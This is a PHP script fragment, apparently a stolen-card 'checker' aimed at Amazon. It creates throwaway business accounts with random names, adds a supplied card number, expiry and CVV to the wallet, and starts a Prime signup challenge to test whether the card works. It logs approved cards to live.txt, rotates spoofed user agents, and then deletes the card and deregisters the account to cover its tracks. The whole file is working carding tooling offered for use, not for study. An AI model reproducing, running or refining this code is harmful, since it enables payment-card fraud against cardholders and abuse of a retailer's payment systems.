$required_keys = ['session', 'contai', 'urll10', 'token00310','offtoken10'];


foreach ($required_keys as $key) {
    if (empty($_SESSION[$key])) {
       
	   $ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/deregister?ref_=b2b_bam_drb_l_a');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

 $result = curl_exec($ch);
      $result = htmlspecialchars_decode($result);
       $B2B = getStr($result, "B2B_MANAGE_TOKEN' value='", "'");


	   	   $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ab/manage/deregisterYourBusiness/api/deregister?ref_=b2b_bam_drb_ver_y');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'anti-csrftoken-a2z: ' . $B2B;
$headers[] = 'Content-Type: application/json';
$headers[] = 'Accept: */*';
$headers[] = 'Origin: https://www.amazon.com';
$headers[] = 'Cookie: ' . $cookie6;

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"reason":"OTHER"}');
 $result = curl_exec($ch);

     unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
 	 exit();
		
		
    }
}
		 

 

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/guest/onboard?ref_=ab_reg_notag_bs_gon_ab_reg_dsk');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

 $result = curl_exec($ch);








$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/org/landing');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'authority: www.amazon.com',
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
$texta = curl_exec($ch);

 $token1 = GetStr($texta, "abreg_originatingEmailEncrypted=", "\\");
 $custumerid = GetStr($texta, "abreg_originatingCustomerId=", "\\");
$token22 = GetStr($texta, 'data-csrf-token="' ,'"');
 $tokensignature = GetStr($texta, "abreg_signature=", "\\x26");
  $namme = substr(str_shuffle("ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 7);

 $ch = curl_init();        
curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/business/register/api/org/registrations?sif_profile=ab-reg');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Host: www.amazon.com',
    "anti-csrftoken-a2z: $token22",
    'content-type: application/x-www-form-urlencoded',
    'accept: application/json, text/plain, */*',
    'origin: https://www.amazon.com',
    "referer: https://www.amazon.com/business/register/org/business-info?abreg_signature=$tokensignature&abreg_entryRefTag=ya_d_atf_us_b2b_reg_v3&abreg_usingPostAuthPortalTheme=true&abreg_vertical=COM&abreg_originatingEmailEncrypted=$token1&abreg_client=biss&abreg_originatingCustomerId=$custumerid&ref_=ab_reg_notag_rn-biss_cb_ab_reg_dsk",
    'accept-language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',
]);
curl_setopt($ch, CURLOPT_COOKIE, $cookie6);
curl_setopt($ch, CURLOPT_POSTFIELDS, "address1=350%205th%20Ave&address2=29th%20Floor&zip=10118&city=New%20York&state=NY&country=US&voice=%2B12126598653&contactName=$namme%20$namme&businessName=$namme&businessType=OTHER&verificationOverrideStatus=&notifyBySms=false&internal=false&warningBypassed=false&existingAddress=false&publicAdministrationSelfDeclaration=false&businessTin=");
$response = curl_exec($ch);





$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/nav/ajax/business-desktop-asinFlyout?content=ab-spendsegment-itstore&metricKey=ab-spendsegment-itstoreMetric&ajaxTemplate=business-desktop-asinFlyout&flyoutName=ab-spendsegment-itstore&flyoutId=nav-link-spendsegment-itstore&navDeviceType=desktop&_=1720963395082');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/ref=ab_reg_notag_gon_gateway_ab_reg_dsk?isMashRequest=false&isAndroidMashRequest=false&isIosMashRequest=false');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);


$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/cpe/yourpayments/wallet?ref_=b2b_mpo_view_wallet');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';

curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

  $response = curl_exec($ch);


		 }
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////


    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));

       $add = getRequest('https://www.amazon.com/mn/dcw/myx/settings.html?route=updatePaymentSettings&ref_=kinw_drop_coun&ie=UTF8&client=deeca');
          $csrf = getstr($add, 'csrfToken = "','"');
#req1


    setHeaders(array(
'Cookie: '.$cookie1.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22AddPaymentInstr%22%3A%7B%22cc_CardHolderName%22%3A%22'.generateRandomString(10).'+'.generateRandomString(10).'%22%2C%22cc_ExpirationMonth%22%3A%22'.intval($mes).'%22%2C%22cc_ExpirationYear%22%3A%22'.$ano.'%22%7D%7D%7D&csrfToken='.urlencode($csrf).'&addCreditCardNumber='.$cc.'';

        $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
     $cardid_puro = getstr($add, '"paymentInstrumentId":"','"');
#req2


if (empty($cardid_puro)) {
	
	
	    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	 
	unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
 	 exit();
}

    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
'Content-Type: application/x-www-form-urlencoded',

  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
));


$post = 'data=%7B%22param%22%3A%7B%22LogPageInfo%22%3A%7B%22pageInfo%22%3A%7B%22subPageType%22%3A%22kinw_total_myk_stb_Perr_paymnt_dlg_cl%22%7D%7D%2C%22GetAllAddresses%22%3A%7B%7D%7D%7D&csrfToken='.urlencode($csrf).'';

       $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);
  $addresid = getStr($add, 'AddressId":"','"');
//     if(empty($addresid)) {
//     $status = "reprovado";



// echo json_encode(['status' => $status.' => '.$err.' => CONTA SEM ENDEREÇO!']);    


  


//   }
#req3
    setHeaders(array(
'Cookie: '.$cookie1.'',
'Host: www.amazon.com',
  "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1",
  'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',

));


$post = 'data=%7B%22param%22%3A%7B%22SetOneClickPayment%22%3A%7B%22paymentInstrumentId%22%3A%22'.$cardid_puro.'%22%2C%22billingAddressId%22%3A%22'.$addresid.'%22%2C%22isBankAccount%22%3Afalse%7D%7D%7D&csrfToken='.urlencode($csrf).'';

 $add = postRequest('https://www.amazon.com/hz/mycd/ajax', $post);



 

   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3AShowPreferencePaymentOptionListEvent%3A%7B%22instrumentId%22%3A%5B%22'.$cardid_puro.'%22%5D%2C%22instrumentIds%22%3A%5B%22'.$cardid_puro.'%22%5D%7D=change&ppw-jsEnabled=true&ppw-widgetState='.$token00310.'&ie=UTF-8');
    $data0003 = curl_exec($ch);





  $nulla10 = getStr($data0003, 'ppw-widgetState\" value=\"','\"');










   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-widgetEvent%3APreferencePaymentOptionSelectionEvent=&ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ie=UTF-8&ppw-instrumentRowSelection=instrumentId%3D'.$cardid_puro.'%26isExpired%3Dfalse%26paymentMethod%3DCC%26tfxEligible%3Dfalse&ppw-'.$cardid_puro.'_instrumentOrderTotalBalance=%7B%7D&ppw-giftCardSelection=instrumentId%3D'.$cardid_puro.'%26paymentMethod%3DGC%26eligibleBackingMethods%3D%26requireBackingInstrument%3Dfalse');
    $data007 = curl_exec($ch);




  $nulla10 = getStr($data007, 'ppw-widgetState\" value=\"','\"');



   $ch = curl_init();
      curl_setopt($ch, CURLOPT_ENCODING, "gzip");
  curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$urll10.'/continueWidget');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: www.amazon.com',
'Widget-Ajax-Attempt-Count: 0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Sec-Fetch-Site: same-origin',
'Accept-Language: pt-BR,pt;q=0.9',
'Accept-Encoding: gzip, deflate, br',
'Sec-Fetch-Mode: cors',
'APX-Widget-Info: YA:Wallet/mobile/2c8igJRLpuS0',
'Origin: https://www.amazon.com',
'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1',
'Referer: https://www.amazon.com/cpe/yourpayments/wallet?_encoding=UTF8&ref_=ya_mb_mpo',
'Connection: keep-alive',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'Sec-Fetch-Dest: empty',
'cookie: '.$cookie6.'',

));
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/55555533xxxx.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/ddfrrrdeww23444.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ppw-jsEnabled=true&ppw-widgetState='.$nulla10.'&ppw-widgetEvent=SavePaymentPreferenceEvent');
    $data03 = curl_exec($ch);



               $pay1 = getStr($data03, 'preferencePaymentMethodIds":"[\"','\"');

                    $pay2 = getStr($data03, '\",\"','\"]');


         $pref = getStr($data03, 'preferenceId":"','"');







// MethodIdList
       #req7
	   
	   
	   //curl_setopt($ch, CURLOPT_URL, 'curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/hp/wlp/pipeline/actions?paymentClass=FreeTrial&redirectURL=L2dwL3ByaW1l&containerRequestId='.$contai.'&deviceEnvironment=BROWSER&paymentsPortalExternalReferenceID=prime&paymentMethodId='.$pay1.'&preferenceId='.$pref.'&countryCode=US&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&cancelRedirectURL=Lw&originalContainerRequestId='.$requestid.'&deviceType=desktop&planDurationUnit=Yearly&authenticationSourceClientReference='.$contai.'&paymentsPortalPreferenceType=PRIME&wlpLocation=prime_confirm&locationID=prime_confirm&paymentMethodIdList='.$pay1.'%2C'.$pay2.'&location=prime_confirm&session-id='.$session.'');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://'.$linkSelecionado1.'/mcp/ajaxpipeline/ev/challenge?deviceType=desktop&paymentClass=paid&currentStage=DynamicMARSChallenge&clientId=prime&planDurationUnit=annual&authenticationSourceClientReference='.$contai.'&successUrl=%2Fhp%2Fwlp%2Fpipeline%2Factions&paymentsPortalPreferenceType=PRIME&containerRequestId='.$contai.'&failureUrl=%2Fgp%2Fprime%2Fpipeline%2Fmembersignup&nextStage=RedirectToSuccessUrl&deviceEnvironment=BROWSER&paymentsPortalExternalReferenceID=prime&wlpLocation=prime_default&paymentMethodId='.$pay1.'&locationId=wlp&preferenceId='.$pref.'&countryCode=BR&actionPageDefinitionId=WLPAction_AcceptOffer_HardVet&paymentMethodIdList='.$pay1.'&location=prime_default&marsChallengeName=ENHANCED_VET&session-id='.$session.'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Host: '.$linkSelecionado1.'',
'X-Requested-With: XMLHttpRequest',
'Content-Type: application/x-www-form-urlencoded',
'sec-ch-ua-platform-version: "10.0.0"',
'Origin: https://'.$linkSelecionado1.'',
'Accept-Encoding: gzip, deflate, br, zstd',
'Accept-Language: pt-BR,pt;q=0.9',
'Cookie: '.$cookie9.'',

));

   $Fim = curl_exec($ch);
   $status_http = preg_match('/^HTTP\/[\d.]+ (\d{3})/m', $Fim, $m) ? $m[1] : null;
   


   
   
if (strpos($Fim, '/hp/wlp/pipeline/actions') !== false) {
   echo"<br><span class='text-success'>[Aprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>➜ $bin_result </span>
    <span class='text-success'>[R: Cartao aprovado] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s)</span>";

$file = fopen($dir . "live.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);
	
	$file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);

}  

elseif (strpos($Fim, 'InvalidInput')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'>$info ➜ </span>
    <span class='text-danger'>[R: ops,ocorreu um erro ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";
unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
);
$deletou = $delet();
}

elseif (strpos($Fim, 'HARDVET_VERIFICATION_FAILED')) {
    echo "<br><span class='text-warning'>[Reprovada] ➜ </span>
    <span class='text-info'>$cc|$mes|$ano|$cvv ➜ </span>
    <span class='text-warning'> ➜ $bin_result </span>
    <span class='text-danger'>[R: cartão recusado ] ➜ </span>
    <span class='text-info'>@nexus center (" . (time() - $time) . "s) </span>";

  $file = fopen($dir . "die.txt.txt", "a");
    fwrite($file, "$cc|$mes|$ano|$cvv\n");
    fclose($file);

} 

else {
    echo"<brReprovada » <font color='red'> $cc|$mes|$ano|$cvv todos teus chk caiu,chame o vendedor » @nexus center </font></span></p>";
     unset(
    $_SESSION['session'],
    $_SESSION['token'],
    $_SESSION['contai']
	
);
$deletou = $delet();
}

    setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
   $serial1 = getstr($result, '"4-','"');
 $paymentidons = getstr($result, '"paymentMethodId":"','"');
  $costomerid = getstr($result, '"customerId":"','"');

   $quotquot = getstr($result, 'instrumentId":"','"');
   $widgetInstanceId = getstr($result, 'widgetInstanceId":"','"');

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3AStartDeleteEvent%3A%7B%22iid%22%3A%22".$quotquot."%22%2C%22renderPopover%22%3A%22true%22%7D=&ppw-jsEnabled=true&ppw-widgetState=4-".$serial1."&ie=UTF-8");
curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
$diferentenonce = getstr($result, 'hidden\" name=\"ppw-widgetState\" value=\"','\"');
$ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, 'https://www.amazon.com/payments-portal/data/widgets2/v1/customer/'.$costomerid.'/continueWidget');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "ppw-widgetEvent%3ADeleteInstrumentEvent=&ppw-jsEnabled=true&ppw-widgetState=".$diferentenonce."&ie=UTF-8");
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

    $headers = array();
$headers[] = 'Host: www.amazon.com';
$headers[] = 'Cookie: '.$cookie6.'';
$headers[] = 'Device-Memory: 8';
$headers[] = 'X-Requested-With: XMLHttpRequest';
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01';
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8';
$headers[] = 'Downlink: 10';
$headers[] = 'Widget-Ajax-Attempt-Count: 0';
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1";
$headers[] = 'Rtt: 200';
$headers[] = 'Origin: https://www.amazon.it';
$headers[] = 'Referer: https://www.amazon.it/cpe/yourpayments/wallet';
$headers[] = 'Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7';


    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

     $r = curl_exec($ch);
	 
	   if (strpos($r, 'Your payment method has been removed successfully') != true) {
		   
		   
		      setHeaders(array(
'Cookie: '.$cookie6.'',
'Content-Type: application/x-www-form-urlencoded',
'Host: www.amazon.com',
"User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS ".rand(10,99)."_1_2 like Mac OS X) AppleWebKit/".rand(100,999).".1.15 (KHTML, like Gecko) Version/17.1.2 Mobile/15E".rand(100,999)." Safari/".rand(100,999).".1"
));


         $result = getRequest('https://www.amazon.com/cpe/yourpayments/wallet');
